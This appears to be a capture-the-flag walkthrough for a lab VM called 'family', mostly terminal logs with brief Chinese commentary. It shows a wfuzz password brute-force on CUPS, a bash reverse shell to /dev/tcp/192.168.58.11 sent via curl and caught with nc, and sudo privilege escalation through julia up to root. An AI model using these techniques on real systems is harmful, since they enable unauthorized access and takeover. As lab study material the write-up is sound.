┌──(root㉿kakeru)-[~/tmp] └─# nmap 192.168.58.62 Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-0717:01 CST Nmap scan report for bogon (192.168.58.62) Host is up (0.0069s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 631/tcp open ipp MAC Address: C8:21:58:16:CF:C4 (Intel Corporate)
Nmap done:1 IP address (1 host up) scanned in6.17 seconds
这里出现了一个我之前没怎么见过的端口631 , 搜了一下ipp是个什么服务: 互联网打印协议 (IPP),如RFC2910和RFC2911中所规定,是互联网打印的基础。其可扩展性通过IPP Everywhere等发展得以展示,旨在标准化移动和云打印,并引入3D 打印的扩展。利用HTTP协议,IPP 受益于已建立的安全实践,包括基本/摘要认证和SSL/TLS 加密。提交打印作业或查询打印机状态等操作通过指向 IPP 服务器的HTTP POST 请求进行,该服务器在port 631/tcp上运行。 IPP 的一个著名实现是CUPS,这是一个在各种 Linux 发行版和 OS X 中普遍使用的开源打印系统。尽管其有用,IPP 与 LPD 类似,可能被利用通过PostScript或PJL 文件传输恶意内容,突显出潜在的安全风险。
┌──(root㉿kakeru)-[~/tmp] └─# pip3 install ippserver --break-system-packages Requirement already satisfied: ippserver in /usr/local/lib/python3.12/dist-packages (0.2) Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from ippserver) (2.32.3) Requirement already satisfied: certifi>=2017.4.17 in /usr/lib/python3/dist-packages (from requests->ippserver) (2024.12.14) Requirement already satisfied: charset-normalizer<4,>=2 in /usr/lib/python3/dist-packages (from requests->ippserver) (3.4.0) Requirement already satisfied: idna<4,>=2.5 in /usr/lib/python3/dist-packages (from requests->ippserver) (3.8) Requirement already satisfied: urllib3<3,>=1.21.1 in /usr/lib/python3/dist-packages (from requests->ippserver) (2.2.3) WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, possibly rendering your system unusable.It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv. Use the --root-user-action option if you know what you are doing and want to suppress this warning.
┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -c -u http://192.168.58.62:631/admin/ --basic mum:FUZZ -w rockyou.txt -b 'org.cups.sid=f78970dc2347a763ec24e09c013d76bb' -d "org.cups.sid=df16eb974ff8e01177f03fafe7aa2887&OP=add-printer" -Z --hc 401 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.58.62:631/admin/ Total requests: 14344392
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000001: 200 100 L 331 W 4618 Ch "123456" 000000003: 200 100 L 331 W 4618 Ch "123456789" 000000050: 200 100 L 331 W 4618 Ch "hannah" 000000049: 200 100 L 331 W 4618 Ch "superman" 000000046: 200 100 L 331 W 4618 Ch "joshua" 000000007: 200 100 L 331 W 4618 Ch "1234567" 000000015: 200 100 L 331 W 4618 Ch "lovely" 000000047: 200 100 L 331 W 4618 Ch "bubbles" 000000048: 200 100 L 331 W 4618 Ch "1234567890" 000000031: 200 100 L 331 W 4618 Ch "friends" 000000045: 200 100 L 331 W 4618 Ch "jennifer" 000000038: 200 100 L 331 W 4618 Ch "loveme" 000000041: 200 100 L 331 W 4618 Ch "football" 000000036: 200 100 L 331 W 4618 Ch "liverpool" 000000043: 200 100 L 331 W 4618 Ch "andrea" 000000040: 200 100 L 331 W 4618 Ch "123123" 000000037: 200 100 L 331 W 4618 Ch "justin" 000000044: 200 100 L 331 W 4618 Ch "carlos" 000000039: 200 100 L 331 W 4618 Ch "fuckyou" 000000042: 200 100 L 331 W 4618 Ch "secret" 000000035: 200 100 L 331 W 4618 Ch "jordan" 000000027: 200 100 L 331 W 4618 Ch "chocolate" 000000032: 200 100 L 331 W 4618 Ch "butterfly" 000000025: 200 100 L 331 W 4618 Ch "tigger" 000000033: 200 100 L 331 W 4618 Ch "purple" 000000029: 200 100 L 331 W 4618 Ch "soccer" 000000026: 200 100 L 331 W 4618 Ch "sunshine" 000000034: 200 100 L 331 W 4618 Ch "angel" 000000028: 200 100 L 331 W 4618 Ch "password1" 000000030: 200 100 L 331 W 4618 Ch "anthony" zsh: killed wfuzz -c -u http://192.168.58.62:631/admin/ --basic mum:FUZZ -w rockyou.txt -
┌──(root㉿kakeru)-[~/tmp] └─# ssh mum@192.168.58.62 The authenticity of host '192.168.58.62 (192.168.58.62)' can't be established. ED25519 key fingerprint is SHA256:vZEvCqRgxS6H8cJ6Umlp0yPH8QAidaOqPupC9t/CPr0. This keyisnot known by any other names. Are you sure you want tocontinue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.58.62' (ED25519) to the list of known hosts. mum@192.168.58.62's password: Linux family 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms foreach program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Oct 2317:43:432022from fe80::d63d:7eff:fef1:3736%enp0s3 -bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) mum@family:~$
mum@family:/home/dad$ ls -al total 36 drwxr-xr-x 5 dad dad 4096 Oct 25 2022 . drwxr-xr-x 5 root root 4096 Oct 11 2022 .. lrwxrwxrwx 1 dad dad 9 Oct 2 2022 .bash_history -> /dev/null -rw-r--r-- 1 dad dad 220 Oct 2 2022 .bash_logout -rw-r--r-- 1 dad dad 3526 Oct 24 2022 .bashrc drwxr-xr-x 3 dad dad 4096 Oct 22 2022 .local -rw-r--r-- 1 dad dad 807 Oct 2 2022 .profile drwx------ 2 dad dad 4096 Oct 23 2022 .ssh -rwxr-xr-x 1 dad dad 620 Oct 25 2022 project drwxr-xr-x 2 dad dad 4096 Oct 23 2022 survey
┌──(root㉿kakeru)-[~/tmp] └─# nikto -h 192.168.58.39:8080 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.58.39 + Target Hostname: 192.168.58.39 + Target Port: 8080 + StartTime: 2025-03-0719:20:02 (GMT8) --------------------------------------------------------------------------- + Server: SimpleHTTP/0.6 Python/2.7.18 + /: The anti-clickjacking X-Frame-Optionsheaderisnot present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Optionsheaderisnotset. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all'to force checkall possible dirs) + Python/2.7.18 appears to be outdated (currentis at least 3.9.6). + SimpleHTTP/0.6 appears to be outdated (currentis at least 1.2).
mum@family:/home/dad/survey$ ls index.html nikto-test-LsluKoIs.html server.py
┌──(root㉿kakeru)-[~/tmp] └─# curl -X PUT 192.168.58.39:8080/reverse -d "bash -i >& /dev/tcp/192.168.58.11/1234 0>&1" curl: (52) Empty reply from server mum@family:/home/dad$ ./project
┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 id id bash: cannot set terminal process group (5833): Inappropriate ioctl for device bash: no job control in this shell dad@family:~$ id uid=1000(dad) gid=1000(dad) groups=1000(dad),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth) dad@family:~$ id uid=1000(dad) gid=1000(dad) groups=1000(dad),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth) dad@family:~$
dad
1 2 3 4 5 6
dad@family:~$ sudo -l MatchingDefaults entries for dad on family: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User dad may run the following commands on family: (baby) NOPASSWD: /usr/bin/julia
在gtfobins里面找到提权方式 sudo julia -e 'run(/bin/sh)' 得到baby的shell
baby
1 2 3 4 5 6
b👶by@family:~$ sudo -l MatchingDefaults entries for baby on family: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User baby may run the following commands on family: (root) NOPASSWD: /home/baby/chocapic
root@family:/home/baby# cd root@family:~# ls root.txt root@family:~# cat root.txt Salted__"?1լ???Ȉ?m?:Pi?|q?8FH?yNU:k?.ᛥ?24?}??;E?$/7root@family:~# root@family:~# file root.txt root.txt: openssl enc'd data with salted password
root@family:~# fdisk -l Disk /dev/sda: 15.26 GiB, 16385299968 bytes, 32002539 sectors Disk model: VBOX HARDDISK Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xb6ff27bb
Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 27897855 27895808 13.3G 83 Linux /dev/sda2 27899902 29898751 1998850 976M 5 Extended /dev/sda3 29898752 32002047 2103296 1G 83 Linux /dev/sda5 27899904 29898751 1998848 976M 82 Linux swap / Solaris
发现还有一个/dev/sda3
1 2 3 4 5 6
root@family:~# mount /dev/sda3 /mnt root@family:~# cd /mnt root@family:/mnt# ls password root@family:/mnt# cat password QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma